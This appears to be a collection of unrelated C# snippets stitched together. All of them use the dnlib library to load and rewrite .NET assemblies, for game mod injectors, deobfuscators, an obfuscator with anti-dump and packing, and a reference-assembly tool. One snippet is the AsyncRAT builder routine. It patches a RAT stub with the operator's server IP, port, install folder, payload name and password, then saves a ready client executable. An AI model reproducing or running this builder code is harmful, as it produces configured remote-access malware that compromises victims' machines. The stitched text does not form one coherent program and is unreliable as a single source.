public void Start() { //string[] args = Environment.GetCommandLineArgs(); //if (args.Length <= 1 || string.IsNullOrEmpty(args[1])) // return; if (!Utils.HasNetworkConnection()) { status.Text = $"No network connection."; return; } try { Config config; using (var stream = File.OpenRead(configFile)) { var serializer = new XmlSerializer(typeof(Config)); config = serializer.Deserialize(stream) as Config; } if (config == null || string.IsNullOrEmpty(config.Repository)) { status.Text = $"Error parsing {configFile}"; return; } if (File.Exists(updateFile)) { File.Delete(updateFile); } string result = null; using (var wc = new WebClient()) { wc.Encoding = Encoding.UTF8; result = wc.DownloadString(new Uri(config.Repository)); } var repository = JsonConvert.DeserializeObject <Repository>(result); if (repository == null || repository.Releases.Length == 0) { status.Text = $"Error parsing {config.Repository}"; return; } var release = repository.Releases.FirstOrDefault(x => x.Id == unityModManagerName); if (File.Exists(unityModManagerFile)) { var modManagerDef = ModuleDefMD.Load(File.ReadAllBytes(unityModManagerFile)); var modManager = modManagerDef.Types.First(x => x.Name == unityModManagerName); var versionString = modManager.Fields.First(x => x.Name == "version").Constant.Value.ToString(); if (Utils.ParseVersion(release.Version) <= Utils.ParseVersion(versionString)) { status.Text = $"No updates."; return; } } status.Text = $"Downloading {release.Version} ..."; using (var wc = new WebClient()) { wc.Encoding = Encoding.UTF8; wc.DownloadProgressChanged += Wc_DownloadProgressChanged; wc.DownloadFileCompleted += Wc_DownloadFileCompleted; wc.DownloadFileAsync(new Uri(release.DownloadUrl), updateFile); } } catch (Exception e) { status.Text = e.Message; } }
static void Main(string[] args) { // Thanks to xeno's old deob and cawk for helping with that one :) string oldEnv = Environment.CurrentDirectory; Console.Title = "Babel 8.5.0.0 VM Restorer - LaPanthere @ rtn-team.cc"; Console.WriteLine(@"______ ______ _ _ _ ____ ___"); Console.WriteLine(@"| _ \ | ___ \ | | | | | | | \/ |"); Console.WriteLine(@"| | | |___| |_/ / __ _| |__ ___| | | | | . . |"); Console.WriteLine(@"| | | / _ \ ___ \/ _` | '_ \ / _ \ | | | | |\/| |"); Console.WriteLine(@"| |/ / __/ |_/ / (_| | |_) | __/ \ \_/ / | | |"); Console.WriteLine(@"|___/ \___\____/ \__,_|_.__/ \___|_|\___/\_| |_/"); Console.WriteLine(" V1.0 - LaPanthere"); try { asm = ModuleDefMD.Load(args[0]); Console.WriteLine("[!]Loading assembly " + asm.FullName); asmpath = args[0]; if (args.Length > 1) { verbose = args[1] == "-v"; } } catch (Exception) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[!] Error: Cannot load the file. Make sure it's a valid .NET file!"); Console.WriteLine("[!] Verbose mode can be activated with -v"); Console.ForegroundColor = ConsoleColor.White; return; } Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("[!] Trying to Restore Methods from VM - for best results move VM Restore to target folder!"); Console.ForegroundColor = ConsoleColor.White; // fix for dll's needed Environment.CurrentDirectory = System.IO.Path.GetDirectoryName(asmpath); int restored = RestoreDynamicMethods(asm); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("[!] Restored {0} methods from VM", restored); Console.ForegroundColor = ConsoleColor.White; //save module string text2 = Path.GetDirectoryName(args[0]); if (!text2.EndsWith("\\")) { text2 += "\\"; } string path = text2 + Path.GetFileNameWithoutExtension(args[0]) + "_patched" + Path.GetExtension(args[0]); var opts = new ModuleWriterOptions(asm); opts.MetaDataOptions.Flags = MetaDataFlags.PreserveAll; opts.Logger = DummyLogger.NoThrowInstance; asm.Write(path, opts); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("[!] Assembly saved"); Console.ForegroundColor = ConsoleColor.White; Console.ReadKey(); }
public ResourcePatcher(string file) { this.file = file; module = ModuleDefMD.Load(file); resources = module.Resources; }
public SelfModelBase(string subModelName) { this.subModelName = subModelName; module = ModuleDefMD.Load(typeof(SelfModelBase).Assembly.Location); }
static void Main(string[] args) { Console.ForegroundColor = ConsoleColor.Yellow; Console.SetWindowSize(150, 30); Console.WriteLine(title); Console.WriteLine(""); Console.WriteLine(""); ModuleDef md = ModuleDefMD.Load(args[0]); Console.WriteLine("Cleaning the assembly"); md.Name = Path.GetFileNameWithoutExtension(args[0]); md.Assembly.Name = Path.GetFileName(args[0]); Console.WriteLine(""); Console.WriteLine(""); protections.isolated.proxy.Execute(md); protections.assembl.Execute(md); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("Cleaned the assembly"); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine(""); Console.WriteLine(""); Console.WriteLine("Cleaning the math"); protections.math.DoMath(md); Console.WriteLine(""); Console.WriteLine(""); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("cleaned the math"); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine(""); Console.WriteLine(""); Console.WriteLine("checking for isolated (trash)"); Console.ForegroundColor = ConsoleColor.Green; protections.isolated.ints.DoubleParse(md); protections.isolated.invalid_md.Deobfuscate(md); protections.isolated.calli.Execute(md); try { protections.isolated.strings.static_decryption.Execute(md); } catch { Console.WriteLine(""); Console.WriteLine(""); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Error when decrypting strings, try running de4dot then this tool again!"); Console.ForegroundColor = ConsoleColor.Yellow; } Console.WriteLine(""); Console.WriteLine(""); Console.WriteLine("cleaned all the skidded protections of obfuscators"); Console.ForegroundColor = ConsoleColor.Yellow; Directory.CreateDirectory(@".\AtomicProtected"); md.Write(@".\AtomicProtected\" + Path.GetFileName(args[0]), new ModuleWriterOptions(md) { PEHeadersOptions = { NumberOfRvaAndSizes = new uint?(13u) }, MetaDataOptions = { TablesHeapOptions = { ExtraData = new uint?(4919u) } }, Logger = DummyLogger.NoThrowInstance }); Process.Start(@".\AtomicProtected\"); Console.Read(); }
public void AssemblyLoaded(Assembly assembly) { this.reflObfModule = assembly.ManifestModule; this.obfModule = ModuleDefMD.Load(reflObfModule); }
private bool Inject(Actions action, ModuleDefMD assembly = null, bool save = true) { currentGamePath = Path.GetDirectoryName(PathOfHacknet.Text); currentManagedPath = System.Environment.CurrentDirectory; string PatchTarget = "Hacknet.Program.Main:Before"; string text = PathOfHacknet.Text; string destFileName = $"{text}.backup"; if (File.Exists(text)) { if (assembly == null) { try { assembly = ModuleDefMD.Load(File.ReadAllBytes(text)); } catch (Exception ex) { Log.Print(ex.Message); return(false); } } string className = null; string methodName = null; string text3 = null; int num = PatchTarget.LastIndexOf('.'); if (num != -1) { className = PatchTarget.Substring(0, num); int num2 = PatchTarget.LastIndexOf(':'); if (num2 != -1) { methodName = PatchTarget.Substring(num + 1, num2 - num - 1); text3 = PatchTarget.Substring(num2 + 1).ToLower(); if (text3 != "after" && text3 != "before") { Log.Print($"Parameter '{text3}' in '{PatchTarget}' is unknown."); } } else { methodName = PatchTarget.Substring(num + 1); } if (methodName == "ctor") { methodName = ".ctor"; } TypeDef typeDef = assembly.Types.FirstOrDefault((TypeDef x) => x.FullName == className); if (typeDef == null) { Log.Print($"Class '{className}' not found."); return(false); } MethodDef methodDef = typeDef.Methods.FirstOrDefault((MethodDef x) => x.Name == methodName); if (methodDef == null) { Log.Print($"Method '{methodName}' not found."); return(false); } Type modManagerType = typeof(ModManager); switch (action) { case Actions.Install: try { Log.Print($"Backup for Hacknet.exe."); File.Copy(text, destFileName, overwrite: true); CopyLibraries(); string path = Path.Combine(currentGamePath, "Mods"); if (!Directory.Exists(path)) { Directory.CreateDirectory(path); } if (assembly.Types.FirstOrDefault((TypeDef x) => x.Name == modManagerType.Name) != null && !Inject(Actions.Remove, assembly, save: false)) { Log.Print("Installation failed. Can't uninstall the previous version."); return(false); } Log.Print("Applying patch..."); ModuleDefMD moduleDefMD = ModuleDefMD.Load(modManagerType.Module); var t = moduleDefMD.Types; Log.Print("Applying patch..."); TypeDef typeDef3 = t.First((TypeDef x) => x.Name == modManagerType.Name); Log.Print($"moduleDefMD.Types.Remove(typeDef3)."); moduleDefMD.Types.Remove(typeDef3); assembly.Types.Add(typeDef3); Log.Print($"Call Start"); Instruction item = OpCodes.Call.ToInstruction(typeDef3.Methods.First((MethodDef x) => x.Name == "Start")); Log.Print($"Insert"); if (string.IsNullOrEmpty(text3) || text3 == "after") { methodDef.Body.Instructions.Insert(methodDef.Body.Instructions.Count - 1, item); } else if (text3 == "before") { methodDef.Body.Instructions.Insert(0, item); } Log.Print($"Save"); if (save) { assembly.Write(text); Log.Print("安装成功."); } Install.Enabled = false; Unstall.Enabled = true; return(true); } catch (Exception ex3) { Log.Print(ex3.Message); if (!File.Exists(text)) { RestoreBackup(); } } break; case Actions.Remove: try { TypeDef typeDef2 = assembly.Types.FirstOrDefault((TypeDef x) => x.Name == modManagerType.Name); if (typeDef2 != null) { Log.Print("移除ModManager..."); Instruction instruction = OpCodes.Call.ToInstruction(typeDef2.Methods.First((MethodDef x) => x.Name == "Start")); for (int i = 0; i < methodDef.Body.Instructions.Count; i++) { if (methodDef.Body.Instructions[i].OpCode == instruction.OpCode && methodDef.Body.Instructions[i].Operand == instruction.Operand) { methodDef.Body.Instructions.RemoveAt(i); break; } } assembly.Types.Remove(typeDef2); if (save) { assembly.Write(text); Log.Print("移除成功."); } Install.Enabled = true; Unstall.Enabled = false; } return(true); } catch (Exception ex2) { Log.Print(ex2.Message); if (!File.Exists(text)) { RestoreBackup(); } } break; } return(false); } Log.Print($"Function name error '{PatchTarget}'."); return(false); } Log.Print($"'{text}' 无法找到."); return(false); }
private void button1_Click(object sender, EventArgs e) { if (string.IsNullOrWhiteSpace(textIP.Text) || string.IsNullOrWhiteSpace(textPort.Text)) { return; } if (checkBox1.Checked) { if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) { return; } if (!textFilename.Text.EndsWith("exe")) { textFilename.Text += ".exe"; } } try { var md = ModuleDefMD.Load(Path.Combine(Application.StartupPath, @"Stub\Stub.exe")); foreach (TypeDef type in md.Types) { if (type.Name == "Settings") { foreach (MethodDef method in type.Methods) { if (method.Body == null) { continue; } for (int i = 0; i < method.Body.Instructions.Count(); i++) { if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr) { if (method.Body.Instructions[i].Operand.ToString() == "127.0.0.1") { method.Body.Instructions[i].Operand = textIP.Text; } if (method.Body.Instructions[i].Operand.ToString() == "6606") { method.Body.Instructions[i].Operand = textPort.Text; } if (method.Body.Instructions[i].Operand.ToString() == "%AppData%") { method.Body.Instructions[i].Operand = comboBoxFolder.Text; } if (method.Body.Instructions[i].Operand.ToString() == "Payload.exe") { method.Body.Instructions[i].Operand = textFilename.Text; } if (method.Body.Instructions[i].Operand.ToString() == "false") { method.Body.Instructions[i].Operand = checkBox1.Checked.ToString().ToLower(); } if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT") { method.Body.Instructions[i].Operand = Settings.Password; } } } } } } SaveFileDialog saveFileDialog1 = new SaveFileDialog(); saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; saveFileDialog1.InitialDirectory = Application.StartupPath; saveFileDialog1.OverwritePrompt = false; saveFileDialog1.FileName = "Client"; if (saveFileDialog1.ShowDialog() == DialogResult.OK) { md.Write(saveFileDialog1.FileName); MessageBox.Show("Done", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); Properties.Settings.Default.DNS = textIP.Text; Properties.Settings.Default.Filename = textFilename.Text; Properties.Settings.Default.Save(); this.Close(); } } catch (Exception ex) { MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); } }
public static bool IsDotNetCoreExecutable(string filename) { if (!File.Exists(filename)) { return(false); } if (!PortableExecutableFileHelpers.IsExecutable(filename)) { return(false); } try { using (var peImage = new PEImage(filename)) { if ((peImage.ImageNTHeaders.FileHeader.Characteristics & Characteristics.Dll) != 0) { return(false); } var dd = peImage.ImageNTHeaders.OptionalHeader.DataDirectories[14]; if (dd.VirtualAddress == 0 || dd.Size < 0x48) { return(false); } using (var mod = ModuleDefMD.Load(peImage, new ModuleCreationOptions())) { var asm = mod.Assembly; if (asm == null) { return(false); } var ca = asm.CustomAttributes.Find("System.Runtime.Versioning.TargetFrameworkAttribute"); if (ca == null) { return(false); } if (ca.ConstructorArguments.Count != 1) { return(false); } string s = ca.ConstructorArguments[0].Value as UTF8String; if (s == null) { return(false); } // See corclr/src/mscorlib/src/System/Runtime/Versioning/BinaryCompatibility.cs var values = s.Split(new char[] { ',' }); if (values.Length >= 2 && values.Length <= 3) { var framework = values[0].Trim(); if (framework == ".NETCoreApp") { return(true); } } return(false); } } } catch { } return(false); }
// Token: 0x0600008E RID: 142 RVA: 0x000050A8 File Offset: 0x000032A8 private void button8_Click_1(object sender, EventArgs e) { ModuleDef moduleDef = ModuleDefMD.Load(this.textBox1.Text); bool cflow = this.Cflow; if (cflow) { Ctrl_Flow.Brs(moduleDef); } bool strings = this.Strings; if (strings) { numbers.InjectClass1(moduleDef); numbers.String(moduleDef); } bool mutation = this.Mutation; if (mutation) { mutatio.Booleanisator(moduleDef); } bool renamer = this.Renamer; if (renamer) { Atomic.Atomic.Renamer.Renamer3.Rename(moduleDef); } bool numbers = this.Numbers; if (numbers) { numbers.InjectClass(moduleDef); } foreach (TypeDef typeDef in moduleDef.Types.ToArray <TypeDef>()) { foreach (MethodDef methodDef in typeDef.Methods.ToArray <MethodDef>()) { bool flag = methodDef.HasBody && methodDef.Body.Instructions.Count != 0; if (flag) { bool numbers2 = this.Numbers; if (numbers2) { array.Array(methodDef); } } } } foreach (TypeDef typeDef2 in moduleDef.Types.ToArray <TypeDef>()) { foreach (MethodDef methodDef2 in typeDef2.Methods.ToArray <MethodDef>()) { bool flag2 = methodDef2.HasBody && methodDef2.Body.Instructions.Count > 0 && !methodDef2.IsConstructor; if (flag2) { bool cflow2 = this.Cflow; if (cflow2) { bool flag3 = !cfhelper.HasUnsafeInstructions(methodDef2); if (flag3) { bool flag4 = Form1.Simplify(methodDef2); if (flag4) { Blocks blocks = cfhelper.GetBlocks(methodDef2); bool flag5 = blocks.blocks.Count != 1; if (flag5) { control_flow.toDoBody(methodDef2, blocks); break; } } Form1.Optimize(methodDef2); } } } } } bool cflow3 = this.Cflow; if (cflow3) { cflow.Execute(moduleDef); } bool antiDumper = this.AntiDumper; if (antiDumper) { antidump.Execute(moduleDef); } bool numbers3 = this.Numbers; if (numbers3) { numbers.InjectClass(moduleDef); numbers.encrypt(moduleDef); numbers.encrypt(moduleDef); } bool strings2 = this.Strings; if (strings2) { numbers.String(moduleDef); } bool mutation2 = this.Mutation; if (mutation2) { foreach (TypeDef typeDef3 in moduleDef.Types.ToArray <TypeDef>()) { foreach (MethodDef methodDef3 in typeDef3.Methods.ToArray <MethodDef>()) { bool flag6 = methodDef3.HasBody && methodDef3.Body.Instructions.Count != 0; if (flag6) { mutatio.Mutate1(methodDef3); } } } } bool numbers4 = this.Numbers; if (numbers4) { numbers.encrypt(moduleDef); } Directory.CreateDirectory(".\\AtomicProtected\\"); moduleDef.Write(".\\AtomicProtected\\" + Path.GetFileName(this.textBox1.Text), new ModuleWriterOptions(moduleDef) { Logger = DummyLogger.NoThrowInstance }); bool packer = this.Packer; if (packer) { context.LoadModule(".\\AtomicProtected\\" + Path.GetFileName(this.textBox1.Text)); context.PackerPhase(); context.SaveModule(); } Process.Start(".\\AtomicProtected\\"); }
public override bool Execute() { List <ITaskItem> _frameworkLibraries = FrameworkLibraries.ToList(); void ExecuteFile(ITaskItem item) { Log.LogWarning("Writing file {0}", item.ItemSpec); var ar = new AssemblyResolver(); ar.PreSearchPaths.Add(Path.GetDirectoryName(item.ItemSpec)); ModuleDefMD module = ModuleDefMD.Load(item.ItemSpec, new ModuleContext(ar)); List <ExportedType> exportedTypesToRemove = new List <ExportedType>(); List <TypeDef> typesToAcquire = new List <TypeDef>(); foreach (ExportedType exportedType in module.ExportedTypes) { if (exportedType.Resolve() is TypeDef type && !_frameworkLibraries.Any(taskItem => taskItem.ItemSpec == type.Module.Location)) { exportedTypesToRemove.Add(exportedType); typesToAcquire.Add(type); Log.LogWarning("Moving type {0} from {1} into {2}", exportedType.FullName, type.Module, module.FullName); } } foreach (ExportedType exportedType in exportedTypesToRemove) { module.ExportedTypes.Remove(exportedType); } foreach (TypeDef type in typesToAcquire) { if (type.IsNested) { type.DeclaringType.NestedTypes.Remove(type); } else { type.Module.Types.Remove(type); } module.Types.Add(type); } List <TypeDef> typesToRemove = new List <TypeDef>(); foreach (TypeDef type in module.GetTypes()) { // keep <Module> if (type.IsGlobalModuleType) { continue; } if (!type.IsPublic && !type.IsNestedPublic) { typesToRemove.Add(type); continue; } List <InterfaceImpl> interfacesToRemove = new List <InterfaceImpl>(); List <PropertyDef> propertiesToRemove = new List <PropertyDef>(); List <MethodDef> methodsToRemove = new List <MethodDef>(); List <FieldDef> fieldsToRemove = new List <FieldDef>(); foreach (InterfaceImpl intf in type.Interfaces) { if (type.IsSealed ? (!(intf.Interface.ResolveTypeDef()?.IsPublic ?? true) && !(intf.Interface.ResolveTypeDef()?.IsNestedPublic ?? true)) : (!(intf.Interface.ResolveTypeDef()?.IsPublic ?? true) && !(intf.Interface.ResolveTypeDef()?.IsNestedPublic ?? true) && !(intf.Interface.ResolveTypeDef()?.IsNestedFamily ?? true))) { interfacesToRemove.Add(intf); } } foreach (MethodDef method in type.Methods) { if (type.IsSealed ? (!method.IsPublic || (method.HasReturnType && !(method.ReturnType.ToBasicTypeDefOrRef().ResolveTypeDef()?.IsPublic ?? true) && !(method.ReturnType.ToBasicTypeDefOrRef().ResolveTypeDef()?.IsNestedPublic ?? true)) || method.CustomAttributes.Any(attr => attr.AttributeType?.Name?.Contains("SecurityCritical") ?? false)) : (!(method.IsPublic || method.IsFamily) || (method.HasReturnType && !(method.ReturnType.ToBasicTypeDefOrRef().ResolveTypeDef()?.IsPublic ?? true) && !(method.ReturnType.ToBasicTypeDefOrRef().ResolveTypeDef()?.IsNestedPublic ?? true) && !(method.ReturnType.ToBasicTypeDefOrRef().ResolveTypeDef()?.IsNestedFamily ?? true)) || method.CustomAttributes.Any(attr => attr.AttributeType?.Name?.Contains("SecurityCritical") ?? false))) { methodsToRemove.Add(method); } else { if (type.IsSealed ? method.Parameters.Any(arg => !(arg.Type.ToBasicTypeDefOrRef().ResolveTypeDef()?.IsPublic ?? true) && !(arg.Type.ToBasicTypeDefOrRef().ResolveTypeDef()?.IsNestedPublic ?? true)) : method.Parameters.Any(arg => !(arg.Type.ToBasicTypeDefOrRef().ResolveTypeDef()?.IsPublic ?? true) && !(arg.Type.ToBasicTypeDefOrRef().ResolveTypeDef()?.IsNestedPublic ?? true) && !(arg.Type.ToBasicTypeDefOrRef().ResolveTypeDef()?.IsNestedFamily ?? true))) { methodsToRemove.Add(method); continue; } method.Body = new dnlib.DotNet.Emit.CilBody(); } } foreach (var method in methodsToRemove) { type.Methods.Remove(method); } foreach (var field in type.Fields) { if (!(field.IsPublic || (!type.IsSealed && field.IsFamily))) { fieldsToRemove.Add(field); } } foreach (var field in fieldsToRemove) { type.Fields.Remove(field); } foreach (var property in type.Properties) { var remove = true; if (property.GetMethod != null && (property.GetMethod.IsPublic || (!type.IsSealed && property.GetMethod.IsFamily))) { remove = false; } if (property.SetMethod != null && (property.SetMethod.IsPublic || (!type.IsSealed && property.SetMethod.IsFamily))) { remove = false; } if (remove) { propertiesToRemove.Add(property); } } foreach (var field in fieldsToRemove) { type.Fields.Remove(field); } foreach (var property in propertiesToRemove) { type.Properties.Remove(property); } foreach (var intf in interfacesToRemove) { type.Interfaces.Remove(intf); } } foreach (var type in typesToRemove) { if (type.IsNested) { type.DeclaringType.NestedTypes.Remove(type); } else { module.Types.Remove(type); } } var attributesToRemove = new List <CustomAttribute>(); foreach (var attr in module.Assembly.CustomAttributes) { if (!(attr.AttributeType.ResolveTypeDef()?.IsPublic ?? false) && !(attr.AttributeType.ResolveTypeDef()?.IsNestedPublic ?? false)) { attributesToRemove.Add(attr); } } foreach (var attr in attributesToRemove) { module.Assembly.CustomAttributes.Remove(attr); } string savePath = Path.Combine(OutputDirectory.ItemSpec, Path.GetFileName(item.ItemSpec)); module.Write(savePath, new ModuleWriterOptions(module) { Logger = DummyLogger.NoThrowInstance }); } foreach (var item in FrameworkLibraries) { ExecuteFile(item); } return(true); }
//private bool InjectConfig(Actions action, XDocument doc = null, bool write = true) //{ // var originalMachineConfigPath = $"{machineConfigPath}.original_"; // var gameConfigPath = GameInfo.filepathInGame; // var success = false; // switch (action) // { // case Actions.Install: // try // { // if (!Directory.Exists(managerPath)) // Directory.CreateDirectory(managerPath); // Utils.MakeBackup(machineConfigPath); // Utils.MakeBackup(libraryPaths); // if (!IsDirty(doc)) // { // File.Copy(machineConfigPath, originalMachineConfigPath, true); // } // MakeDirty(doc); // if (!InjectConfig(Actions.Remove, doc, false)) // { // Log.Print("Installation failed. Can't uninstall the previous version."); // goto EXIT; // } // Log.Print($"Applying patch to '{Path.GetFileName(machineConfigPath)}'..."); // foreach (var mapping in doc.Descendants("cryptoNameMapping")) // { // foreach(var cryptoClasses in mapping.Elements("cryptoClasses")) // { // if (!cryptoClasses.Elements("cryptoClass").Any(x => x.FirstAttribute.Name.LocalName == "ummRngWrapper")) // { // cryptoClasses.Add(new XElement("cryptoClass", new XAttribute("ummRngWrapper", "UnityModManagerNet.RngWrapper, UnityModManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"))); // } // } // if (!mapping.Elements("nameEntry").Any(x => x.LastAttribute.Value == "ummRngWrapper")) // { // //mapping.Add(new XElement("nameEntry", new XAttribute("name", "RandomNumberGenerator"), new XAttribute("class", "ummRngWrapper"))); // mapping.Add(new XElement("nameEntry", new XAttribute("name", "System.Security.Cryptography.RandomNumberGenerator"), new XAttribute("class", "ummRngWrapper"))); // } // break; // } // doc.Save(machineConfigPath); // DoactionLibraries(Actions.Install); // DoactionGameConfig(Actions.Install); // Log.Print("Installation was successful."); // success = true; // } // catch (Exception e) // { // Log.Print(e.ToString()); // Utils.RestoreBackup(machineConfigPath); // Utils.RestoreBackup(libraryPaths); // Utils.RestoreBackup(gameConfigPath); // Log.Print("Installation failed."); // } // break; // case Actions.Remove: // try // { // Utils.MakeBackup(gameConfigPath); // if (write) // { // Utils.MakeBackup(machineConfigPath); // Utils.MakeBackup(libraryPaths); // } // Log.Print("Removing patch..."); // MakeDirty(doc); // foreach (var mapping in doc.Descendants("cryptoNameMapping")) // { // foreach (var cryptoClasses in mapping.Elements("cryptoClasses")) // { // foreach (var cryptoClass in cryptoClasses.Elements("cryptoClass")) // { // if (cryptoClass.FirstAttribute.Name.LocalName == "ummRngWrapper") // { // cryptoClass.Remove(); // } // } // } // foreach (var nameEntry in mapping.Elements("nameEntry")) // { // if (nameEntry.LastAttribute.Value == "ummRngWrapper") // { // nameEntry.Remove(); // } // } // break; // } // if (write) // { // doc.Save(machineConfigPath); // DoactionLibraries(Actions.Remove); // DoactionGameConfig(Actions.Remove); // Log.Print("Removal was successful."); // } // success = true; // } // catch (Exception e) // { // Log.Print(e.ToString()); // if (write) // { // Utils.RestoreBackup(machineConfigPath); // Utils.RestoreBackup(libraryPaths); // Utils.RestoreBackup(gameConfigPath); // Log.Print("Removal failed."); // } // } // break; // } // EXIT: // if (write) // { // try // { // Utils.DeleteBackup(machineConfigPath); // Utils.DeleteBackup(libraryPaths); // Utils.DeleteBackup(gameConfigPath); // } // catch (Exception) // { // } // } // return success; //} private bool InjectAssembly(Actions action, ModuleDefMD assemblyDef, bool write = true) { var managerType = typeof(UnityModManager); var starterType = typeof(Injection.UnityModManagerStarter); var gameConfigPath = GameInfo.filepathInGame; var assemblyPath = Path.Combine(managedPath, assemblyDef.Name); var originalAssemblyPath = $"{assemblyPath}.original_"; var success = false; switch (action) { case Actions.Install: { try { Log.Print("======================================="); if (!Directory.Exists(managerPath)) { Directory.CreateDirectory(managerPath); } Utils.MakeBackup(assemblyPath); Utils.MakeBackup(libraryPaths); if (!IsDirty(assemblyDef)) { File.Copy(assemblyPath, originalAssemblyPath, true); MakeDirty(assemblyDef); } if (!InjectAssembly(Actions.Remove, injectedAssemblyDef, assemblyDef != injectedAssemblyDef)) { Log.Print("Installation failed. Can't uninstall the previous version."); goto EXIT; } Log.Print($"Applying patch to '{Path.GetFileName(assemblyPath)}'..."); if (!Utils.TryGetEntryPoint(assemblyDef, entryPoint, out var methodDef, out var insertionPlace, true)) { goto EXIT; } var starterDef = ModuleDefMD.Load(starterType.Module); var starter = starterDef.Types.First(x => x.Name == starterType.Name); starterDef.Types.Remove(starter); assemblyDef.Types.Add(starter); var instr = OpCodes.Call.ToInstruction(starter.Methods.First(x => x.Name == nameof(Injection.UnityModManagerStarter.Start))); if (insertionPlace == "before") { methodDef.Body.Instructions.Insert(0, instr); } else { methodDef.Body.Instructions.Insert(methodDef.Body.Instructions.Count - 1, instr); } assemblyDef.Write(assemblyPath); DoactionLibraries(Actions.Install); DoactionGameConfig(Actions.Install); Log.Print("Installation was successful."); success = true; } catch (Exception e) { Log.Print(e.ToString()); Utils.RestoreBackup(assemblyPath); Utils.RestoreBackup(libraryPaths); Utils.RestoreBackup(gameConfigPath); Log.Print("Installation failed."); } } break; case Actions.Remove: { try { if (write) { Log.Print("======================================="); } Utils.MakeBackup(gameConfigPath); var v0_12_Installed = assemblyDef.Types.FirstOrDefault(x => x.Name == managerType.Name); var newWayInstalled = assemblyDef.Types.FirstOrDefault(x => x.Name == starterType.Name); if (v0_12_Installed != null || newWayInstalled != null) { if (write) { Utils.MakeBackup(assemblyPath); Utils.MakeBackup(libraryPaths); } Log.Print("Removing patch..."); Instruction instr = null; if (newWayInstalled != null) { instr = OpCodes.Call.ToInstruction(newWayInstalled.Methods.First(x => x.Name == nameof(Injection.UnityModManagerStarter.Start))); } else if (v0_12_Installed != null) { instr = OpCodes.Call.ToInstruction(v0_12_Installed.Methods.First(x => x.Name == nameof(UnityModManager.Start))); } if (!string.IsNullOrEmpty(injectedEntryPoint)) { if (!Utils.TryGetEntryPoint(assemblyDef, injectedEntryPoint, out var methodDef, out _, true)) { goto EXIT; } for (int i = 0; i < methodDef.Body.Instructions.Count; i++) { if (methodDef.Body.Instructions[i].OpCode == instr.OpCode && methodDef.Body.Instructions[i].Operand == instr.Operand) { methodDef.Body.Instructions.RemoveAt(i); break; } } } if (newWayInstalled != null) { assemblyDef.Types.Remove(newWayInstalled); } else if (v0_12_Installed != null) { assemblyDef.Types.Remove(v0_12_Installed); } if (!IsDirty(assemblyDef)) { MakeDirty(assemblyDef); } if (write) { assemblyDef.Write(assemblyPath); DoactionLibraries(Actions.Remove); DoactionGameConfig(Actions.Remove); Log.Print("Removal was successful."); } } success = true; } catch (Exception e) { Log.Print(e.ToString()); if (write) { Utils.RestoreBackup(assemblyPath); Utils.RestoreBackup(libraryPaths); Utils.RestoreBackup(gameConfigPath); Log.Print("Removal failed."); } } } break; } EXIT: if (write) { try { Utils.DeleteBackup(assemblyPath); Utils.DeleteBackup(libraryPaths); Utils.DeleteBackup(gameConfigPath); } catch (Exception) { } } return(success); }
private void RefreshForm() { if (!IsValid(selectedGame)) { InactiveForm(); return; } btnInstall.Text = "Install"; btnRestore.Enabled = false; gamePath = ""; if (string.IsNullOrEmpty(selectedGameParams.Path) || !Directory.Exists(selectedGameParams.Path)) { var result = FindGameFolder(selectedGame.Folder); if (string.IsNullOrEmpty(result)) { InactiveForm(); btnOpenFolder.ForeColor = System.Drawing.Color.FromArgb(192, 0, 0); btnOpenFolder.Text = "Select Game Folder"; folderBrowserDialog.SelectedPath = null; Log.Print($"Game folder '{selectedGame.Folder}' not found."); return; } Log.Print($"Game folder detected as '{result}'."); selectedGameParams.Path = result; } Utils.TryParseEntryPoint(selectedGame.EntryPoint, out var assemblyName); gamePath = selectedGameParams.Path; btnOpenFolder.ForeColor = System.Drawing.Color.Black; btnOpenFolder.Text = new DirectoryInfo(gamePath).Name; folderBrowserDialog.SelectedPath = gamePath; managedPath = FindManagedFolder(gamePath); managerPath = Path.Combine(managedPath, nameof(UnityModManager)); entryAssemblyPath = Path.Combine(managedPath, assemblyName); injectedEntryAssemblyPath = entryAssemblyPath; managerAssemblyPath = Path.Combine(managerPath, typeof(UnityModManager).Module.Name); entryPoint = selectedGame.EntryPoint; injectedEntryPoint = selectedGame.EntryPoint; assemblyDef = null; injectedAssemblyDef = null; managerDef = null; gameExePath = !string.IsNullOrEmpty(selectedGame.GameExe) ? Path.Combine(gamePath, selectedGame.GameExe) : string.Empty; doorstopPath = Path.Combine(gamePath, doorstopFilename); doorstopConfigPath = Path.Combine(gamePath, doorstopConfigFilename); libraryPaths = new string[libraryFiles.Length]; for (int i = 0; i < libraryFiles.Length; i++) { libraryPaths[i] = Path.Combine(managerPath, libraryFiles[i]); } var parent = new DirectoryInfo(Application.StartupPath).Parent; for (int i = 0; i < 3; i++) { if (parent == null) { break; } if (parent.FullName == gamePath) { InactiveForm(); Log.Print("UMM Installer should not be located in the game folder."); return; } parent = parent.Parent; } //machineConfigPath = string.Empty; //machineDoc = null; //if (!string.IsNullOrEmpty(selectedGame.MachineConfig)) //{ // machineConfigPath = Path.Combine(gamePath, selectedGame.MachineConfig); // try // { // machineDoc = XDocument.Load(machineConfigPath); // } // catch (Exception e) // { // InactiveForm(); // Log.Print(e.ToString()); // return; // } //} try { assemblyDef = ModuleDefMD.Load(File.ReadAllBytes(entryAssemblyPath)); } catch (Exception e) { InactiveForm(); Log.Print(e.ToString()); return; } var useOldPatchTarget = false; GameInfo.filepathInGame = Path.Combine(managerPath, "Config.xml"); if (File.Exists(GameInfo.filepathInGame)) { var gameConfig = GameInfo.ImportFromGame(); if (gameConfig == null || !Utils.TryParseEntryPoint(gameConfig.EntryPoint, out assemblyName)) { InactiveForm(); return; } 